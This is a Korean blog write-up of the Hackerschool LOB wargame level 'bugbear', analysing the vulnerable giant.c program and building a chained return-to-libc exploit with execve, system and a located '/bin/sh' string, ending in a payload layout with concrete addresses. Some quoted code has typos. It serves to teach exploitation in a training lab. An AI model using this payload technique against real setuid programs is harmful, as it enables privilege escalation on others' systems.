본문으로 바로가기

해커스쿨 LOB bugbear 풀이, write up

category Wargame/LOB 2018. 9. 14. 19:25

bugbear --- new devide



우선 bugbear의 디렉터리를 확인한다.





giant라는 의심스러운 파일이 존재한다. giant는 giant의 권한을 가지고 있고, setuid가 걸려있는 파일이다.



giant.c를 가지고 giant elf 파일을 만들었을 가능성이 있기 때문에, giant.c 파일을 본 뒤 어떤 취약점을 가지고 있는지 확인해보자.





지역 변수를 선언한다.



1
2
3
4
char buffer[40];
FILE *fp;
char *lib_addr, *execve_offset, *execve_addr;                                        
char *ret;
cs



execve의 주소를 얻는 과정이다.


ldd 명령어 : 지정한 프로그램의 라이브러리 의존성을 확인한다.

grep 명령어 : 문자열을 찾는 명령어를 찾아 화면에 출력해준다.

awk 명령어 : 패턴 탐색과 처리를 위한 명령어 이다.

{print $4} 는 4번째 필드를 출력하라는 뜻이다.

"|" 는 파이프라인으로 결과 값을 다음 명령의 input으로 넣어준다.


sscanf함수의 특성을 통해 서식 지정자를 통해 data type을 변경할 수 있다.

여기서는 문자열을 hex로 변경시킨다.


ldd 명령어를 통해 assassin의 라이브러리 의존성을 체크하고 파이프라인을 통해 라이브러리 중 libc 문자열을 가진 라이브러리를 출력한다.

libc 문자열을 가진 라이브리 의존성의 4번째 필드를 출력한다.


우리는 system 함수의 execve가 필요하기 때문에 assassin.c를 다음과 같이 정의했다.


1
2
3
4
5
6
7
// assassin.c
 
int main()
{
    system();                                                                        
}
 
cs


이해를 보다 명확히 하기 위해 ldd를 통해 assassin을 보면 아래와 같다.



아래 소스의 첫 줄이 의미하는 것은 라이브러리의 주소값이다.


1
2
3
4
fp = open("/usr/bin/ldd /home/giant/assassin | /bin/grep libc | /bin/awk '{print $4}'""r");
fgets(buffer, 255, fp);
sscanf(buffer, "(%x)"&lib_addr);
fclose(fp);
cs



지정된 라이브러리부터 execve 함수가 얼마만큼 떨어져 있는지 offset을 구한다.



1
2
3
4
fp = popen("/usr/bin/nm /lib/libc.so.6 | /bin/grrep __execve | /bin/awk '{print $1}'""r");
fgets(buffer, 255, fp);
sscanf(buffer, "%x"&execve_offset);
fclose(fp);
cs



라이브러리의 주소와 __execve의 offset을 이용하여 execve_addr의 실제 주소를 구한다.



1
execve_addr = lib_addr + (int)execve_offset;                                        
cs



RET(EIP) 는 반드시 execve()의 주소이여야한다.

즉, execve()를 이용한 RTL기법을 이용해 공격해야한다.



1
2
3
4
5
6
memcpy(&ret, &(argv[1][44]), 4);
if(ret != execve_addr)
{
    printf("You must use execve!\n");                                                
    exit(0);
}
cs



첫 번째 parameter를 buffer에 넣고, 출력한다.



1
2
strcpy(buffer, argv[1]);                                                            
printf("%s\n", buffer);
cs



giant의 메모리 구조를 예상해보면 아래와 같이 그릴 수 있다.





실제 변수가 할당될 때 gcc가 최적화를 위해 자동적으로 dummy를 생성할 수 있다.


gdb를 이용하여, giant를 분석해보자. giant를 gdb로 실행하는 도중 permission denied가 발생하면 cp 명령을 이용해 파일을 복사하면 된다. 현재 user의 권한으로 똑같은 파일을 가질 수 있기 때문이다.





위와 같이 giantcp가 bugbear의 권한으로 복사된 것을 확인할 수 있다.


dummy가 생성되었는지 gdb를 통해 확인해보자.





dummy가 추가적으로 생성되지 않고 정확히 60(0x3C) byte가 생성된것을 확인할 수 있다.


giant.c를 보면 Return To Library2(RTL2)라는 힌트를 주었다. 


이번에는 execve()를 이용한 RTL 기법을 사용하는 것이다.

execve() 함수는 어떤 기능을 하는 함수일까??


execve의 원형은 아래와 같다.


int execve (const char *filename, char *const argv[], char *const envp[]);


execve() 함수는 filename이 가르키는 파일을 현재 프로세스에 적재하여 새로운 기능을 하도록 바꾸는 함수이다.

argv는 새로 실행할 프로그램에 전달하는 parameter의 배열이다. argv의 마지막 문자는 반드시 NULL이어야 한다.

envp는 환변경수의 문자열 배열로 마지막 문자는 반드시 NULL이어야 한다.


RTL을 연속적으로 사용하면서 공격을 진행할 것이다.


44 byte의 dummy + execve() + system() + exit() or 4 byte의 더미 + "/bin/sh"의 문자열의 주소 + system의 인자 + NULL



우선 execve 는 giant.c의 소스 분석을 바탕으로 아래와 같이 쉽게 구할 수 있다.




execve()가 속해있는 라이브러리의 주소는 0x40018000이다.

execve()가 속해있는 라이브러리부터 execve()까지 offset은 0x00091d48이다.

즉, execve()는 0x400a9d48 주소에 위치해있다.



system 함수의 주소는 gdb를 통해 간단히 찾을 수 있다.





system 함수 내부에 "/bin/sh" 문자열이 있기 때문에 아래와 같은 간단한 소스를 이용해 "/bin/sh" 문자열을 찾을 수 있다.



1
2
3
4
5
6
7
8
9
10
// whereissh.c                                                                        
#include <stdio.h>
main()
{
        long shell = 0x40058ae0;
        while(memcmp((void*)shell, "/bin/sh"8))                                    
                shell++;
        printf("%x\n", shell);
}
 
cs


shell에 system 함수의 시작주소를 넣고, system 함수의 시작부터 "/bin/sh"의 문자열을 만날 때 까지 주소를 1씩 증가시켜 "/bin/sh"의 문자열을 찾는 소스이다.





"/bin/sh" 문자열의 주소는 0x400fbff9에 위치한다.


NULL이 저장된 주소는, 스텍의 맨 아랫 부분에 존재할 것이다.





44 byte의 dummy + 0x400a9d48 + 0x40058ae0 + 4 byte의 dummy + 0x400fbff9 + 0xbffffffc